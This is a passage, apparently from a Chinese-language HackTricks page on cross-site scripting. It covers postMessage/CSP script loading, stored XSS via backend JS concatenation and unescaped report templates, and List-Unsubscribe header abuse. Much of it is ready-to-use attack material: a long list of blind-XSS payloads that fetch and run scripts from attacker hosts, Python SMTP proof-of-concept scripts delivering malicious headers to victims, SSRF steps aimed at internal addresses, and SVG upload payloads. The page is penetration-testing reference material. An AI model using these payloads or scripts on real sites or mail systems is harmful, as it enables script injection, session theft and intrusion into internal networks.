{msg_type:'IWL_BOOTSTRAP', pixel_id:<allowed>};父页面随后从被 CSP 允许的 origin 加载攻击者的iwl.js并执行它。
这会将无 origin 的 postMessage 验证转变为一个远程脚本加载原语(remote script loader primitive),如果你能落在策略已允许的任何 origin 上,它可以绕过并存活于 CSP。
供应链级 stored XSS:通过后端 JS 拼接
当后端通过将 JS 字符串与用户可控值拼接来构建共享 SDK时,任何引号/结构中断符都可以注入脚本,这些脚本会被提供给每个使用者:
- 示例模式(Meta CAPIG):服务器直接将
cbq.config.set("<pixel>","IWLParameters",{params: <user JSON>});追加到capig-events.js中。 - 注入
'或"]}会关闭字面量/对象并加入攻击者 JS,从而在分发的 SDK 中为所有加载它的网站创造 stored XSS(第一方和第三方)。
当转义被禁用时,生成报告中的 stored XSS
如果上传的文件被解析,且它们的元数据被打印到 HTML 报告中而未进行转义(|safe、自定义渲染器),那么这些元数据就是一个 stored XSS sink。示例流程:
xmlhost = data.getAttribute(f'{ns}:host')
ret_list.append(('dialer_code_found', (xmlhost,), ()))
'title': a_template['title'] % t_name # %s fed by xmlhost
Django 模板渲染 {{item|key:"title"|safe}},因此攻击者的 HTML 会被执行。
利用: 将 实体编码的 HTML 放入任何会到达报告的 manifest/config 字段:
<data android:scheme="android_secret_code"
android:host="<img src=x onerror=alert(document.domain)>"/>
使用 |safe 渲染时,报告会输出 <img ...> 并在查看时触发 JS。
搜寻: 查找那些在 %s/f-strings 中重用已解析字段并禁用自动转义的 report/notification 构建器。上传的 manifest/log/archive 中的一个被编码标签会对所有查看者持续造成 XSS。
滥用 Service Workers
访问 Shadow DOM
Polyglots
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
Blind XSS 有效载荷
你也可以使用: https://xsshunter.com/
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>
<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />
<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />
<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
Regex - 访问隐藏内容
从 this writeup 可以了解到,即使某些值从 JS 中消失,仍然可以在不同对象的 JS 属性中找到它们。 例如,REGEX 的输入在 regex 的输入值被移除后仍然可以被找到:
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)
// Remove flag value, nobody will be able to get it, right?
flag = ""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)
Brute-Force List
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
XSS 利用其他漏洞
XSS 在 Markdown
能注入会被渲染的 Markdown 代码吗?也许你可以获得 XSS!查看:
XSS 到 SSRF
在一个使用 caching 的 site 上发现 XSS?尝试通过 Edge Side Include Injection 用下面的 payload 将其升级为 SSRF:
<esi:include src="http://yoursite.com/capture" />
Use it to bypass cookie restrictions, XSS filters and much more!
更多关于此技术的信息: XSLT。
动态创建的 PDF 中的 XSS
如果一个网页使用用户可控输入创建 PDF,你可以尝试欺骗创建 PDF 的 bot去执行任意 JS 代码。
因此,如果PDF creator bot finds某种HTML标签,它将对其进行解释,你可以滥用这种行为导致Server XSS。
如果你无法注入 HTML 标签,值得尝试inject PDF data:
Amp4Email 中的 XSS
AMP,旨在加速移动设备上的网页性能,结合了带有 JavaScript 的 HTML 标签以保证功能,强调速度和安全。它支持多种组件来实现不同功能,可通过 AMP components 访问。
AMP for Email 格式将特定的 AMP 组件扩展到 emails,使收件人能够直接在邮件中与内容交互。
示例 writeup XSS in Amp4Email in Gmail.
List-Unsubscribe 头滥用 (Webmail XSS & SSRF)
RFC 2369 的 List-Unsubscribe 头嵌入了攻击者控制的 URIs,许多 webmail 和 mail 客户端会自动将其转换为 “Unsubscribe” 按钮。当这些 URI 在未验证的情况下被渲染或请求时,该头就成为注入点,既可导致 stored XSS(如果退订链接被放入 DOM),也可导致 SSRF(如果服务器代表用户发起退订请求)。
通过 javascript: URI 的 Stored XSS
- 给自己发一封邮件,使该头指向一个
javascript:URI,同时保持邮件其余部分无害以免被垃圾邮件过滤器丢弃。 - 确保 UI 渲染了该值(许多客户端在“List Info”面板中显示它),并检查生成的
<a>标签是否继承了攻击者可控的属性,如href或target。 - 当链接使用
target="_blank"时,触发执行(例如,CTRL+click、中键点击或“在新标签页中打开”);浏览器会在 webmail 应用的源中评估提供的 JavaScript。 - 观察 stored-XSS 原语:payload 会随邮件持久存在,仅需一次点击即可执行。
List-Unsubscribe: <javascript://attacker.tld/%0aconfirm(document.domain)>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
URI 中的换行字节 (%0a) 表明即使是不常见的字符也会在易受攻击的客户端(例如 Horde IMP H5)的渲染管道中被保留,该客户端会在锚点标签中逐字输出该字符串。
用于传送恶意 List-Unsubscribe 头的最小 SMTP PoC
```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessagesmtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” sender = “list@example.org” recipient = “victim@example.org”
msg = EmailMessage() msg.set_content(“Testing List-Unsubscribe rendering”) msg[“From”] = sender msg[“To”] = recipient msg[“Subject”] = “Newsletter” msg[“List-Unsubscribe”] = “javascript://evil.tld/%0aconfirm(document.domain)” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”
with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)
</details>
#### 服务器端退订代理 -> SSRF
某些客户端(例如 Nextcloud Mail app)在服务器端代理退订操作:点击按钮会指示服务器自行获取提供的 URL。这样就把该头部变成了一个 SSRF 原语,尤其是在管理员将 'allow_local_remote_servers' => true(记录于 [HackerOne report 2902856](https://hackerone.com/reports/2902856))时,这允许对回环和 RFC1918 地址范围的请求。
1. **构造一封邮件**,其中 `List-Unsubscribe` 指向攻击者控制的端点(用于盲 SSRF 时使用 Burp Collaborator / OAST)。
2. **保留 `List-Unsubscribe-Post: List-Unsubscribe=One-Click`**,以便 UI 显示单击退订按钮。
3. **满足信任要求**:例如 Nextcloud 仅在消息通过 DKIM 时才执行 HTTPS 退订请求,因此攻击者必须使用他们控制的域对邮件进行签名。
4. **将邮件投递到目标服务器处理的邮箱**,并等待用户点击退订按钮。
5. **在 collaborator endpoint 观察服务器端回调**,一旦确认该原语成立,再转向内部地址。
```text
List-Unsubscribe: <http://abcdef.oastify.com>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
用于 SSRF 测试的 DKIM 签名的 List-Unsubscribe 消息
```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage import dkimsmtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” dkim_selector = “default” dkim_domain = “example.org” dkim_private_key = “”“—–BEGIN PRIVATE KEY—–\n…\n—–END PRIVATE KEY—–”“”
msg = EmailMessage() msg.set_content(“One-click unsubscribe test”) msg[“From”] = “list@example.org” msg[“To”] = “victim@example.org” msg[“Subject”] = “Mailing list” msg[“List-Unsubscribe”] = “http://abcdef.oastify.com” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”
raw = msg.as_bytes() signature = dkim.sign( message=raw, selector=dkim_selector.encode(), domain=dkim_domain.encode(), privkey=dkim_private_key.encode(), include_headers=[“From”, “To”, “Subject”] ) msg[“DKIM-Signature”] = signature.decode().split(“: “, 1)[1].replace(”\r“, “”).replace(“\n”, “”)
with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)
</details>
**测试说明**
- 使用 OAST endpoint 收集 blind SSRF hits,然后在确认 primitive 后将 `List-Unsubscribe` URL 调整为指向 `http://127.0.0.1:PORT`、metadata services 或其他内部主机。
- 由于 unsubscribe helper 常常重用与应用相同的 HTTP stack,你会继承它的 proxy settings、HTTP verbs 和 header rewrites,从而能够利用在 [SSRF methodology](../ssrf-server-side-request-forgery/README.md) 中描述的更多 traversal tricks。
### XSS 上传文件(svg)
将下面这样的文件作为图像上传(来自 [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
查找 更多 SVG payloads 在 https://github.com/allanlw/svg-cheatsheet
其他 JS 技巧 & 相关信息
Misc JS Tricks & Relevant Info
XSS 资源
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection
- http://www.xss-payloads.com https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt https://github.com/materaj/xss-list
- https://github.com/ismailtasdelen/xss-payload-list
- https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
- https://netsec.expert/2020/02/01/xss-in-2020.html
- https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide
参考资料
- Turning a harmless XSS behind a WAF into a realistic phishing vector — 将位于 WAF 后的无害 XSS 转化为现实的 phishing 向量
- XSS and SSRF via the List-Unsubscribe SMTP Header in Horde Webmail and Nextcloud Mail — 通过 Horde Webmail 和 Nextcloud Mail 中的 List-Unsubscribe SMTP Header 导致的 XSS 和 SSRF
- HackerOne Report #2902856 - Nextcloud Mail List-Unsubscribe SSRF — HackerOne 报告 #2902856 - Nextcloud Mail List-Unsubscribe SSRF
- From “Low-Impact” RXSS to Credential Stealer: A JS-in-JS Walkthrough — 从「低影响」RXSS 到凭证窃取器:一个 JS-in-JS 逐步解析
- MDN eval() — MDN eval()
- CAPIG XSS: postMessage origin trust becomes a script loader + backend JS concatenation enables supply-chain stored XSS — CAPIG XSS:postMessage origin trust 变为脚本加载器,后端 JS 串接 导致 supply-chain stored XSS
- MobSF stored XSS via manifest analysis (unsafe Django safe sink) — 通过 manifest analysis 导致的 MobSF 存储型 XSS(不安全的 Django safe sink)
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。


